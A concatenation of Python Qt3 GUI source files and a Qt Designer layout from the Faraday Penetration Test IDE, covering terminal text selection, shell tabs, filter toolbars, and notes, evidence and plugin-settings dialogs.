1009 if ev.state() & self.MidButton:
1010 return
1011 #if ( not self.contentsRect().contains(ev.pos()) ) return;
1012 topleft = self.contentsRect().topLeft()
1013 topleftx = topleft.x()
1014 toplefty = topleft.y()
1015 scroll = self.scrollbar.value()
1016 # we're in the process of moving the mouse with the left button pressed
1017 # the mouse cursor will kept catched within the bounds of the text in
1018 # self widget.
1019 # Adjust position within text area bounds. See FIXME above.
1020 pos = qt.QPoint(ev.pos())
1021 if pos.x() < topleftx+self.bX:
1022 pos.setX(topleftx+self.bX)
1023 if pos.x() > topleftx+self.bX+self.columns*self.font_w-1:
1024 pos.setX(topleftx+self.bX+self.columns*self.font_w)
1025 if pos.y() < toplefty+self.bY:
1026 pos.setY(toplefty+self.bY)
1027 if pos.y() > toplefty+self.bY+self.lines*self.font_h-1:
1028 pos.setY(toplefty+self.bY+self.lines*self.font_h-1)
1029 # check if we produce a mouse move event by self
1030 if pos != ev.pos():
1031 self.cursor().setPos(self.mapToGlobal(pos))
1032 if pos.y() == toplefty+self.bY+self.lines*self.font_h-1: # scrollforward
1033 self.scrollbar.setValue(self.scrollbar.value() + Y_MOUSE_SCROLL)
1034 if pos.y() == toplefty+self.bY: # scrollbackward
1035 self.scrollbar.setValue(self.scrollbar.value() - Y_MOUSE_SCROLL)
1036 here = [(pos.x()-topleftx-self.bX+(self.font_w/2))/self.font_w,
1037 (pos.y()-toplefty-self.bY)/self.font_h]
1038 i_pnt_sel_corr = [self.i_pnt_sel.x(), self.i_pnt_sel.y() - self.scrollbar.value()]
1039 pnt_sel_corr = [self.pnt_sel.x(), self.pnt_sel.y() - self.scrollbar.value()]
1040 swapping = False
1041 offset = 0
1042 if self._word_selection_mode:
1043 # Extend to word boundaries
1044 left_not_right = (here[1] < i_pnt_sel_corr[1] or
1045 here[1] == i_pnt_sel_corr[1] and here[0] < i_pnt_sel_corr[0])
1046 old_left_not_right = (pnt_sel_corr[1] < i_pnt_sel_corr[1] or
1047 pnt_sel_corr[1] == i_pnt_sel_corr[1] and pnt_sel_corr[0] < i_pnt_sel_corr[0])
1048 swapping = left_not_right != old_left_not_right
1049 # Find left (left_not_right ? from here : from start)
1050 x, y = left_not_right and here or i_pnt_sel_corr
1051 if (x, y) >= (0, 0) and (x, y) < (self.columns, self.lines):
1052 x, y = self._wordStart(x, y)
1053 left = [x, y]
1054 # Find right (left_not_right ? from start : from here)
1055 x, y = left_not_right and i_pnt_sel_corr or here
1056 if (x, y) >= (0, 0) and (x, y) < (self.columns, self.lines):
1057 x, y = self._wordEnd(x, y)
1058 right = [x, y]
1059 # Pick which is start (ohere) and which is extension (here)
1060 if left_not_right:
1061 here, ohere = left, right
1062 else:
1063 here, ohere = right, left
1064 ohere[0] += 1
1065 elif self._line_selection_mode:
1066 # Extend to complete line
1067 above_not_below = here[1] < i_pnt_sel_corr[1]
1068 swapping = True # triple click maybe selected a wrapped line
1069 y = (above_not_below and here or i_pnt_sel_corr)[1]
1070 while y > 0 and self._line_wrapped[y-1]:
1071 y -= 1
1072 above = [0, y]
1073 y = (above_not_below and i_pnt_sel_corr or here)[1]
1074 while y < self.lines-1 and self._line_wrapped[y]:
1075 y += 1
1076 below = [self.columns-1, y]
1077 # Pick which is start (ohere) and which is extension (here)
1078 if above_not_below:
1079 here, ohere = above, below
1080 else:
1081 here, ohere = below, above
1082 ohere[0] += 1
1083 else:
1084 left_not_right = (here[1] < i_pnt_sel_corr[1] or
1085 here[1] == i_pnt_sel_corr[1] and here[0] < i_pnt_sel_corr[0])
1086 old_left_not_right = (pnt_sel_corr[1] < i_pnt_sel_corr[1] or
1087 pnt_sel_corr[1] == i_pnt_sel_corr[1] and pnt_sel_corr[0] < i_pnt_sel_corr[0])
1088 swapping = left_not_right != old_left_not_right
1089 # Find left (left_not_right ? from here : from start)
1090 left = left_not_right and here or i_pnt_sel_corr
1091 x, y = left_not_right and i_pnt_sel_corr or here
1092 if (x, y) >= (0, 0) and (x, y) < (self.columns, self.lines) and x < len(self._image[0]) and y < len(self._image):
1093 klass = self._image[y][x].charClass()
1094 if klass == ' ':
1095 while (x < self.columns-1 and self._image[y][x].charClass() == klass and y < self.lines-1 and not self._line_wrapped[y]):
1096 x += 1
1097 if x < self.columns-1:
1098 x, y = left_not_right and i_pnt_sel_corr or here
1099 else:
1100 # will be balanced later because of offset=-1
1101 x += 1
1102 right = [x, y]
1103 # Pick which is start (ohere) and which is extension (here)
1104 if left_not_right:
1105 here, ohere = left, right
1106 offset = 0
1107 else:
1108 here, ohere = right, left
1109 offset = -1
1110 if here == pnt_sel_corr and scroll == self.scrollbar.value():
1111 return # not moved
1112 if here == ohere:
1113 return # It's not left, it's not right.
1114 if self._act_sel < 2 or swapping:
1115 self.myemit('beginSelectionSignal', (ohere[0]-1-offset, ohere[1]))
1116 self._act_sel = 2 # within selection
1117 self.pnt_sel = qt.QPoint(here[0], here[1] + self.scrollbar.value())
1118 self.myemit('extendSelectionSignal', (here[0] + offset, here[1]))
1119
1120 def mouseTripleClickEvent(self, ev):
1121 x, y = self._evXY(ev)
1122 self.i_pnt_sel = qt.QPoint(x, y)
1123 self.myemit('clearSelectionSignal')
1124 self._line_selection_mode = True
1125 self._word_selection_mode = False
1126 self._act_sel = 2 # within selection
1127 while self.i_pnt_sel.y()>0 and self._line_wrapped[self.i_pnt_sel.y()-1]:
1128 self.i_pnt_sel.setY(self.i_pnt_sel.y() - 1)
1129 self.myemit('beginSelectionSignal', (0, self.i_pnt_sel.y()))
1130 while self.i_pnt_sel.y()<self.lines-1 and self._line_wrapped[self.i_pnt_sel.y()]:
1131 self.i_pnt_sel.setY(self.i_pnt_sel.y() + 1)
1132 self.myemit('extendSelectionSignal', (self.columns-1, self.i_pnt_sel.y()))
1133 self.myemit('endSelectionSignal', (self.preserve_line_breaks,))
1134 self.i_pnt_sel.setY(self.i_pnt_sel.y() + self.scrollbar.value())
1135
1136
1137 def focusInEvent(self, ev):
1138 """*do* erase area, to get rid of the hollow cursor rectangle"""
1139 self.repaint(self._cursor_rect, True)
1140
1141 def focusOutEvent(self, ev):
1142 """don't erase area"""
1143 self.repaint(self._cursor_rect, False)
1144
1145 def scrollChanged(self, value):
1146 self.myemit('changedHistoryCursor', (value,))
1147
1148 def blinkEvent(self):
1149 """Display operation"""
1150 self.blinking = not self.blinking
1151 self.repaint(False)
1152
1153 def blinkCursorEvent(self):
1154 self.cursor_blinking = not self.cursor_blinking
1155 self.repaint(self._cursor_rect, False)
1156
1157 # private #################################################################
1158
1159 def _clearImage(self):
1160 """initialize the image, for internal use only"""
1161 self._image = [[DCA for _ in xrange(self.columns)]
1162 for _ in xrange(self.lines)]
1163
1164 def _makeImage(self):
1165 # calculate geometry first
1166 # FIXME: set rimX == rimY == 0 when running in full screen mode.
1167 self.scrollbar.resize(qt.QApplication.style().pixelMetric(qt.QStyle.PM_ScrollBarExtent),
1168 self.contentsRect().height())
1169 if self.scroll_loc == SCRNONE:
1170 self.bX = 1
1171 self.columns = (self.contentsRect().width() - 2 * rimX) / self.font_w
1172 self.scrollbar.hide()
1173 elif self.scroll_loc == SCRLEFT:
1174 self.bX = 1+self.scrollbar.width()
1175 self.columns = (self.contentsRect().width() - 2 * rimX - self.scrollbar.width()) / self.font_w
1176 self.scrollbar.move(self.contentsRect().topLeft())
1177 self.scrollbar.show()
1178 elif self.scroll_loc == SCRRIGHT:
1179 self.bX = 1
1180 self.columns = (self.contentsRect().width() - 2 * rimX - self.scrollbar.width()) / self.font_w
1181 self.scrollbar.move(self.contentsRect().topRight() - qt.QPoint(self.scrollbar.width()-1, 0))
1182 self.scrollbar.show()
1183 if self.columns < 1:
1184 self.columns = 1
1185 # FIXME: support 'rounding' styles
1186 self.lines = (self.contentsRect().height() - 2 * rimY ) / self.font_h
1187 # then build an empty image
1188 self._clearImage()
1189
1190 def _swapColorTable(self):
1191 color = self.color_table[1]
1192 self.color_table[1] = self.color_table[0]
1193 self.color_table[0] = color
1194 self.update()
1195
1196 def _tripleClickTimeout(self):
1197 """resets self._possible_triple_click"""
1198 self._possible_triple_click = False
1199
1200 def _evXY(self, ev):
1201 """return (x, y) coordonnate of the image's characters pointed by a
1202 mouse event
1203 """
1204 topleft = self.contentsRect().topLeft()
1205 x = (ev.x() - topleft.x() - self.bX) // self.font_w
1206 y = (ev.y() - topleft.y() - self.bY) // self.font_h
1207 return x, y
1208
1209 def _wordStart(self, x, y):
1210 klass = self._image[y][x].charClass()
1211 while (x > 0 or (y > 0 and self._line_wrapped[y-1])) \
1212 and self._image[y][x].charClass() == klass:
1213 if x > 0:
1214 x -= 1
1215 else:
1216 x = self.columns - 1
1217 y -= 1
1218 # don't add 1 if x == 0
1219 return x and x+1, y
1220
1221 def _wordEnd(self, x, y):
1222 klass = self._image[y][x].charClass()
1223 while (x < self.columns-1 or (y < self.lines-1 and self._line_wrapped[y])) \
1224 and self._image[y][x].charClass() == klass:
1225 if x < self.columns-1:
1226 x += 1
1227 else:
1228 x = 0
1229 y += 1
1230 return x-1, y
1231
1232 def contextMenuEvent(self, event):
1233 def copy(ev):
1234 #XXX: FIXME!!!
1235 # this is copying but also pasting like when the middle button is pressed
1236 # this should only copy!!
1237 if self.mouse_marks or (not self.mouse_marks and (ev.state() & self.ShiftButton)):
1238 qt.QApplication.clipboard().setSelectionMode(ev.state() & self.ControlButton)
1239 #self.emitSelection(True, ev.state() & self.ControlButton)
1240 else:
1241 self.myemit('mouseSignal', (1, x+1, y+1))
1242 def paste(ev):
1243 #XXX: FIXME!!!
1244 # I didn't if this is ok
1245 text = qt.QApplication.clipboard().text()
1246 if not text.isEmpty():
1247 text.replace(qt.QRegExp("\n"), "\r")
1248 ev = qt.QKeyEvent(qt.QEvent.KeyPress, 0, -1, 0, text)
1249 self.myemit('keyPressedSignal', (ev,)) # expose as a big fat keypress event
1250 self.myemit('clearSelectionSignal')
1251 qt.QApplication.clipboard().setSelectionMode(False)
1252
1253 #TODO: esta variable popup menu en lugar de crearse aca todo el tiempo se puede
1254 # poner en el init y luego hacer un metodo de setup para agregarle todas las opciones
1255 # y asignar a cada item la funcion que corresponda (tal como se hace en el tab manager)
1256 popup_menu = qt.QPopupMenu(self)
1257 popup_menu.insertItem("Copy", lambda ev: copy(event))
1258 popup_menu.insertItem("Paste", lambda ev: paste(event))
1259 popup_menu.insertItem("Close Tab", lambda ev: ev)
1260 popup_menu.exec_loop(event.globalPos())
1261
1262 def shellSetFont(self, font=None):
1263 if font is not None:
1264 self.setVTFont(font)
1265 else:
1266 f = qt.QFont()
1267 f.setFamily("fixed")
1268 f.setFixedPitch(True)
1269 f.setPixelSize(13)
1270 self.setVTFont(f)
1271
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import qt
7 import os
8 import model.api as api
9 from model.guiapi import getMainWindow
10
11 from config.configuration import getInstanceConfiguration
12 CONF = getInstanceConfiguration()
13
14 #TODO: define some way to rename each tab
15
16 #TODO: check if we should reimplement our own QTabBar and replace the one on this
17 # QTabWidget
18
19 #TODO: check if the PYSIGNAL contextMenu needs to be changed because it is also
20 # used in the gui.hostbrowser
21
22 class ContextMenuTabBar(qt.QTabBar):
23 def __init__(self, parent):
24 qt.QTabBar.__init__(self,parent)
25 self._actions = {}
26 self._setupActions()
27 self.connect(self, qt.PYSIGNAL('contextMenu'), self._showContextMenu )
28 self.contextPopupMenu = qt.QPopupMenu(self)
29 self._setupContextPopupMenu()
30
31 def addAction(self, name, func):
32 self._actions[name] = func
33
34 def _setupContextPopupMenu(self):
35 """
36 setups all items in the context menu with all its actions
37 """
38 #insertItem ( const QString & text,
39 # const QObject * receiver,
40 # const char * member,
41 # const QKeySequence & accel = 0,
42 # int id = -1,
43 # int index = -1 )
44 self.contextPopupMenu.insertItem("Allow plugins on this shell", self._allowPlugins)
45 self._actions["new_shell"].addTo(self.contextPopupMenu);
46 self._actions["close_shell"].addTo(self.contextPopupMenu);
47 #self.contextPopupMenu.insertItem("Close tab", self._actions["close_shell"])
48
49 def contextMenuEvent(self, event):
50 #XXX: emits the signal to show the parent context menu
51 # this will end up calling the TreeView _showContextMenu
52 self.emit( qt.PYSIGNAL('contextMenu'), (event.globalPos(),) )
53
54 def _showContextMenu(self, pos):
55 """Pop up a context menu when the tab is clicked"""
56 self.contextPopupMenu.exec_loop(pos)
57
58 def _allowPlugins(self):
59 api.devlog("<TabManager> plugins are allowed for current shell (%s)" % self.parent().activeWindow())
60
61 def mouseDoubleClickEvent (self, ev):
62 # e is a qt.QMouseEvent
63 if "maximize" in self._actions:
64 self._actions["maximize"]()
65
66 def _setupActions(self):
67 """
68 creates some actions needed on some menues and toolbars
69 """
70 a = self._actions["close_shell"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"newshell.png"))), "&Close Shell", qt.Qt.CTRL + qt.Qt.Key_W, self, "New Shell" )
71 self.connect(a, qt.SIGNAL('activated()'), self.destroyShellTab)
72
73 a = self._actions["new_shell"] = qt.QAction( qt.QIconSet(qt.QPixmap(os.path.join(CONF.getIconsPath(),"newshell.png"))), "&New Shell", qt.Qt.CTRL + qt.Qt.Key_T, self, "New Shell" )
74 self.connect(a, qt.SIGNAL('activated()'), self.createShellTab)
75
76 def destroyShellTab(self):
77 getMainWindow().destroyShellTab()
78
79 def createShellTab(self):
80 getMainWindow().createShellTab()
81
82 class TabManager(qt.QTabWidget):
83
84 def __init__(self, parent):
85 qt.QTabWidget.__init__(self, parent)
86 self.views = []
87 self.setMargin(10)
88 self.connect(self, qt.SIGNAL('currentChanged(QWidget*)'), self._setFocus)
89
90 # we replace the tab bar with our own wich handles contextMenu
91 tabbar = ContextMenuTabBar(self)
92 self.setTabBar(tabbar)
93 self._next_id = 0
94
95 def getNextId(self):
96 self._next_id += 1
97 return self._next_id
98
99 def addView(self, view):
100 if view not in self.views:
101 self.views.append(view)
102 self.addTab(view, view.name())
103 self.showPage(view)
104
105 def removeView(self, view):
106 if view in self.views:
107 self.views.remove(view)
108 self.removePage(view)
109
110 def activeWindow(self):
111 return self.currentPage()
112
113 def windowList(self):
114 return self.views
115
116 def cascade(self): pass
117
118 def tile(self): pass
119
120 def canCascade(self):
121 return False
122
123 def canTile(self):
124 return False
125
126 def count(self):
127 return len(self.views)
128
129 def _setFocus(self, widget):
130 # just set focus is set on the widget that is contained in the new selected page.
131 widget.setFocus()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 #!/usr/bin/env python
7 import qt
8
9 class LocationToolbar(qt.QToolBar):
10
11 def __init__(self, parent, name, *args, **kwargs):
12 qt.QToolBar.__init__(self, parent, name)
13 self.setName(name)
14 hb = qt.QHBox(self)
15 self._lstr = qt.QLabel("Filter: ", hb, "Filter label")
16
17
18
19
20 self._lcombo = CustomQCombobox(True, hb, 'Filter ComboBox',parent.setFilter)
21 self._values = [""]
22 self._lcombo.insertStrList(self._values)
23 self._lcombo.setFixedSize(300, 25)
24 self._lbutton = qt.QPushButton("Set", hb, "Filter Toggle Button")
25 self._lbutton.setFixedSize(50, 25)
26 self.connect(self._lbutton, qt.SIGNAL('clicked()'), parent.setFilter)
27
28
29 def getSelectedValue(self):
30 return str(self._lcombo.currentText())
31
32 def addFilter(self, new_filter):
33 self._lcombo.insertItem(new_filter)
34
35 class CustomQCombobox(qt.QComboBox):
36 def __init__(self, rw, parent, name,callback):
37 qt.QComboBox.__init__(self, rw, parent, name)
38 self.callback=callback
39
40
41
42
43
44
45
46
47
48
49
50 def keyReleaseEvent(self, event):
51
52
53
54
55 self.callback()
56 event.ignore()
57
58 class PerspectiveToolbar(qt.QHBox):
59 def __init__(self, parent, name, *args, **kwargs):
60 qt.QHBox.__init__(self, parent, name)
61 self.setName(name)
62 self.setSpacing(0)
63 hb = qt.QHBox(self)
64 self._lstr = qt.QLabel("Perspective", hb, "perspective_label")
65 self._lcombo = qt.QComboBox(hb,'Perspective_ComboBox')
66 self.connect(self._lcombo, qt.SIGNAL('activated(int)'), parent.setActivePerspective)
67
68 def addPerspective(self, new):
69 self._lcombo.insertItem(new)
70
71 def getSelectedValue(self):
72 return str(self._lcombo.currentText())
73
74 def sizeHint(self):
75 return qt.QSize(70, 20)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 # -*- coding: utf-8 -*-
7
8
9
10
11
12
13
14
15
16 from qt import *
17 from qttable import QTable
18
19
20 class EvidencesListUI(QDialog):
21 def __init__(self,parent = None,name = None,modal = 0,fl = 0):
22 QDialog.__init__(self,parent,name,modal,fl)
23
24 if not name:
25 self.setName("EvidencesListUI")
26
27 self.evidences_table = QTable(self,"evidences_table")
28 self.evidences_table.setNumCols(self.evidences_table.numCols() + 1)
29 self.evidences_table.horizontalHeader().setLabel(self.evidences_table.numCols() - 1,self.__tr("Id"))
30 self.evidences_table.setNumCols(self.evidences_table.numCols() + 1)
31 self.evidences_table.horizontalHeader().setLabel(self.evidences_table.numCols() - 1,self.__tr("Path"))
32 self.evidences_table.setGeometry(QRect(20,20,510,360))
33 self.evidences_table.setMinimumSize(QSize(300,0))
34 self.evidences_table.setResizePolicy(QTable.AutoOne)
35 self.evidences_table.setVScrollBarMode(QTable.AlwaysOn)
36 self.evidences_table.setNumRows(0)
37 self.evidences_table.setNumCols(2)
38
39 LayoutWidget = QWidget(self,"layout7")
40 LayoutWidget.setGeometry(QRect(90,400,377,29))
41
42 layout7 = QHBoxLayout(LayoutWidget,5,5,"layout7")
43
44 self.add_button = QPushButton(LayoutWidget,"add_button")
45 layout7.addWidget(self.add_button)
46 spacer = QSpacerItem(21,21,QSizePolicy.Expanding,QSizePolicy.Minimum)
47 layout7.addItem(spacer)
48
49 self.delete_button = QPushButton(LayoutWidget,"delete_button")
50 layout7.addWidget(self.delete_button)
51
52 self.languageChange()
53
54 self.resize(QSize(555,447).expandedTo(self.minimumSizeHint()))
55 self.clearWState(Qt.WState_Polished)
56
57
58 def languageChange(self):
59 self.setCaption(self.__tr("Evidences"))
60 self.evidences_table.horizontalHeader().setLabel(0,self.__tr("Id"))
61 self.evidences_table.horizontalHeader().setLabel(1,self.__tr("Path"))
62 self.add_button.setText(self.__tr("Add"))
63 self.delete_button.setText(self.__tr("Delete"))
64
65
66 def __tr(self,s,c = None):
67 return qApp.translate("EvidencesListUI",s,c)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 # -*- coding: utf-8 -*-
7
8
9
10
11
12
13
14
15
16 from qt import *
17 from qttable import QTable
18
19
20 class NotesListUI(QDialog):
21 def __init__(self,parent = None,name = None,modal = 0,fl = 0):
22 QDialog.__init__(self,parent,name,modal,fl)
23
24 if not name:
25 self.setName("NotesListUI")
26
27 self.notes_table = QTable(self,"notes_table")
28 self.notes_table.setNumCols(self.notes_table.numCols() + 1)
29 self.notes_table.horizontalHeader().setLabel(self.notes_table.numCols() - 1,self.__tr("Name"))
30 self.notes_table.setNumCols(self.notes_table.numCols() + 1)
31 self.notes_table.horizontalHeader().setLabel(self.notes_table.numCols() - 1,self.__tr("Content"))
32 self.notes_table.setGeometry(QRect(20,20,510,360))
33 self.notes_table.setMinimumSize(QSize(300,0))
34 self.notes_table.setResizePolicy(QTable.AutoOne)
35 self.notes_table.setVScrollBarMode(QTable.AlwaysOn)
36 self.notes_table.setNumRows(0)
37 self.notes_table.setNumCols(2)
38
39 LayoutWidget = QWidget(self,"layout7")
40 LayoutWidget.setGeometry(QRect(90,400,377,29))
41
42
43 layout7 = QHBoxLayout(LayoutWidget,5,5,"layout7")
44
45 self.add_button = QPushButton(LayoutWidget,"add_button")
46 layout7.addWidget(self.add_button)
47 spacer = QSpacerItem(21,21,QSizePolicy.Expanding,QSizePolicy.Minimum)
48 layout7.addItem(spacer)
49
50 self.edit_button = QPushButton(LayoutWidget,"edit_button")
51 layout7.addWidget(self.edit_button)
52 layout7.addItem(spacer)
53
54 self.delete_button = QPushButton(LayoutWidget,"delete_button")
55 layout7.addWidget(self.delete_button)
56 layout7.addItem(spacer)
57
58 self.list_note_button = QPushButton(LayoutWidget,"list_note_button")
59 layout7.addWidget(self.list_note_button)
60
61 self.languageChange()
62
63 self.resize(QSize(555,447).expandedTo(self.minimumSizeHint()))
64 self.clearWState(Qt.WState_Polished)
65
66
67 def languageChange(self):
68 self.setCaption(self.__tr("Notes"))
69 self.notes_table.horizontalHeader().setLabel(0,self.__tr("Name"))
70 self.notes_table.horizontalHeader().setLabel(1,self.__tr("Content"))
71 self.add_button.setText(self.__tr("New"))
72 self.edit_button.setText(self.__tr("Edit"))
73 self.delete_button.setText(self.__tr("Delete"))
74 self.list_note_button.setText(self.__tr("List Notes"))
75
76
77 def __tr(self,s,c = None):
78 return qApp.translate("NotesListUI",s,c)
0 <!DOCTYPE UI><UI version="3.3" stdsetdef="1">
1 <class>NotesListUI</class>
2 <widget class="QDialog">
3 <property name="name">
4 <cstring>NotesListUI</cstring>
5 </property>
6 <property name="geometry">
7 <rect>
8 <x>0</x>
9 <y>0</y>
10 <width>555</width>
11 <height>447</height>
12 </rect>
13 </property>
14 <property name="caption">
15 <string>Notes</string>
16 </property>
17 <widget class="QTable">
18 <column>
19 <property name="text">
20 <string>Name</string>
21 </property>
22 </column>
23 <column>
24 <property name="text">
25 <string>Content</string>
26 </property>
27 </column>
28 <property name="name">
29 <cstring>notes_table</cstring>
30 </property>
31 <property name="geometry">
32 <rect>
33 <x>20</x>
34 <y>20</y>
35 <width>510</width>
36 <height>360</height>
37 </rect>
38 </property>
39 <property name="minimumSize">
40 <size>
41 <width>300</width>
42 <height>0</height>
43 </size>
44 </property>
45 <property name="resizePolicy">
46 <enum>AutoOne</enum>
47 </property>
48 <property name="vScrollBarMode">
49 <enum>AlwaysOn</enum>
50 </property>
51 <property name="numRows">
52 <number>0</number>
53 </property>
54 <property name="numCols">
55 <number>2</number>
56 </property>
57 </widget>
58 <widget class="QLayoutWidget">
59 <property name="name">
60 <cstring>layout7</cstring>
61 </property>
62 <property name="geometry">
63 <rect>
64 <x>90</x>
65 <y>400</y>
66 <width>377</width>
67 <height>29</height>
68 </rect>
69 </property>
70 <hbox>
71 <property name="name">
72 <cstring>unnamed</cstring>
73 </property>
74 <widget class="QPushButton">
75 <property name="name">
76 <cstring>add_button</cstring>
77 </property>
78 <property name="text">
79 <string>Add</string>
80 </property>
81 </widget>
82 <spacer>
83 <property name="name">
84 <cstring>spacer6_2</cstring>
85 </property>
86 <property name="orientation">
87 <enum>Horizontal</enum>
88 </property>
89 <property name="sizeType">
90 <enum>Expanding</enum>
91 </property>
92 <property name="sizeHint">
93 <size>
94 <width>21</width>
95 <height>21</height>
96 </size>
97 </property>
98 </spacer>
99 <widget class="QPushButton">
100 <property name="name">
101 <cstring>edit_button</cstring>
102 </property>
103 <property name="text">
104 <string>Edit</string>
105 </property>
106 </widget>
107 <spacer>
108 <property name="name">
109 <cstring>spacer6</cstring>
110 </property>
111 <property name="orientation">
112 <enum>Horizontal</enum>
113 </property>
114 <property name="sizeType">
115 <enum>Expanding</enum>
116 </property>
117 <property name="sizeHint">
118 <size>
119 <width>21</width>
120 <height>21</height>
121 </size>
122 </property>
123 </spacer>
124 <widget class="QPushButton">
125 <property name="name">
126 <cstring>delete_button</cstring>
127 </property>
128 <property name="text">
129 <string>Delete</string>
130 </property>
131 </widget>
132 </hbox>
133 </widget>
134 </widget>
135 <layoutdefaults spacing="6" margin="11"/>
136 </UI>
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 # -*- coding: utf-8 -*-
7
8
9
10
11
12
13
14
15
16 from qt import *
17 from qttable import QTable
18 from model.api import devlog
19
20
21 class PluginSettingsUi(QDialog):
22 def __init__(self,parent = None,name = None,modal = 0,fl = 0):
23 QDialog.__init__(self,parent,name,modal,fl)
24
25 if not name:
26 self.setName("PluginSettingsUi")
27
28 self.setSizeGripEnabled(1)
29
30 PluginSettingsUiLayout = QGridLayout(self,1,1,11,6,"PluginSettingsUiLayout")
31
32 Layout1 = QHBoxLayout(None,0,6,"Layout1")
33 Horizontal_Spacing2 = QSpacerItem(20,20,QSizePolicy.Expanding,QSizePolicy.Minimum)
34 Layout1.addItem(Horizontal_Spacing2)
35
36 self.bt_ok = QPushButton(self,"bt_ok")
37 self.bt_ok.setAutoDefault(1)
38 self.bt_ok.setDefault(1)
39 Layout1.addWidget(self.bt_ok)
40
41 self.bt_cancel = QPushButton(self,"bt_cancel")
42 self.bt_cancel.setAutoDefault(1)
43 Layout1.addWidget(self.bt_cancel)
44
45 PluginSettingsUiLayout.addMultiCellLayout(Layout1,1,1,0,1)
46
47 self.lw_plugins = QListView(self,"lw_plugins")
48 self.lw_plugins.addColumn(self.__tr("Plugin"))
49 self.lw_plugins.header().setClickEnabled(0,self.lw_plugins.header().count() - 1)
50 self.lw_plugins.setMinimumSize(QSize(300,0))
51 self.lw_plugins.setMaximumSize(QSize(300,32767))
52 self.lw_plugins.setResizePolicy(QListView.AutoOneFit)
53 self.lw_plugins.setResizeMode(QListView.LastColumn)
54
55 PluginSettingsUiLayout.addWidget(self.lw_plugins,0,0)
56
57 self.frame3 = QFrame(self,"frame3")
58 self.frame3.setMinimumSize(QSize(330,0))
59 self.frame3.setFrameShape(QFrame.StyledPanel)
60 self.frame3.setFrameShadow(QFrame.Raised)
61 frame3Layout = QGridLayout(self.frame3,1,1,11,6,"frame3Layout")
62
63 self.line1 = QFrame(self.frame3,"line1")
64 self.line1.setFrameShape(QFrame.HLine)
65 self.line1.setFrameShadow(QFrame.Sunken)
66 self.line1.setFrameShape(QFrame.HLine)
67
68 frame3Layout.addWidget(self.line1,3,0)
69
70 self.t_parameters = QTable(self.frame3,"t_parameters")
71 self.t_parameters.setSelectionMode(QTable.NoSelection)
72 self.t_parameters.setNumCols(self.t_parameters.numCols() + 1)
73 self.t_parameters.horizontalHeader().setLabel(self.t_parameters.numCols() - 1,self.__tr("Value"))
74 self.t_parameters.horizontalHeader().setClickEnabled(False)
75 self.t_parameters.setNumRows(self.t_parameters.numRows() + 1)
76 self.t_parameters.verticalHeader().setLabel(self.t_parameters.numRows() - 1,self.__tr("Default "))
77 self.t_parameters.setMinimumSize(QSize(300,0))
78 self.t_parameters.setResizePolicy(QTable.Default)
79 self.t_parameters.setVScrollBarMode(QTable.AlwaysOn)
80 self.t_parameters.setNumRows(1)
81 self.t_parameters.setNumCols(1)
82 self.t_parameters.setSorting(1)
83
84 frame3Layout.addWidget(self.t_parameters,3,0)
85
86 layout5 = QHBoxLayout(None,0,6,"layout5")
87
88 self.label_name = QLabel(self.frame3,"label_name")
89 self.label_name.setMinimumSize(QSize(67,0))
90 self.label_name.setMaximumSize(QSize(67,32767))
91 label_name_font = QFont(self.label_name.font())
92 label_name_font.setBold(1)
93 self.label_name.setFont(label_name_font)
94 layout5.addWidget(self.label_name)
95
96 self.le_name = QLineEdit(self.frame3,"le_name")
97 self.le_name.setMinimumSize(QSize(250,0))
98 self.le_name.setReadOnly(1)
99 layout5.addWidget(self.le_name)
100
101 frame3Layout.addLayout(layout5,0,0)
102
103 layout6 = QHBoxLayout(None,0,6,"layout6")
104
105 self.label_version = QLabel(self.frame3,"label_version")
106 self.label_version.setMinimumSize(QSize(67,0))
107 self.label_version.setMaximumSize(QSize(67,32767))
108 label_version_font = QFont(self.label_version.font())
109 label_version_font.setBold(1)
110 self.label_version.setFont(label_version_font)
111 layout6.addWidget(self.label_version)
112
113 self.le_version = QLineEdit(self.frame3,"le_version")
114 self.le_version.setMinimumSize(QSize(250,0))
115 self.le_version.setReadOnly(1)
116 layout6.addWidget(self.le_version)
117
118 frame3Layout.addLayout(layout6,1,0)
119
120 layout7 = QHBoxLayout(None,0,6,"layout7")
121
122 self.label_pversion = QLabel(self.frame3,"label_pversion")
123 self.label_pversion.setMinimumSize(QSize(67,0))
124 self.label_pversion.setMaximumSize(QSize(67,32767))
125 label_pversion_font = QFont(self.label_pversion.font())
126 label_pversion_font.setBold(1)
127 self.label_pversion.setFont(label_pversion_font)
128 layout7.addWidget(self.label_pversion)
129
130 self.le_pversion = QLineEdit(self.frame3,"le_pversion")
131 self.le_pversion.setMinimumSize(QSize(250,0))
132 self.le_pversion.setReadOnly(1)
133 layout7.addWidget(self.le_pversion)
134
135 frame3Layout.addLayout(layout7,2,0)
136
137 PluginSettingsUiLayout.addWidget(self.frame3,0,1)
138
139 self.languageChange()
140
141 self.resize(QSize(782,593).expandedTo(self.minimumSizeHint()))
142 self.clearWState(Qt.WState_Polished)
143
144 self.connect(self.bt_ok,SIGNAL("clicked()"),self.accept)
145 self.connect(self.bt_cancel,SIGNAL("clicked()"),self.reject)
146
147
148 def languageChange(self):
149 self.setCaption(self.__tr("Plugin Settings"))
150 self.bt_ok.setText(self.__tr("&OK"))
151 self.bt_ok.setAccel(QKeySequence(QString.null))
152 self.bt_cancel.setText(self.__tr("&Cancel"))
153 self.bt_cancel.setAccel(QKeySequence(QString.null))
154 self.lw_plugins.header().setLabel(0,self.__tr("Plugin"))
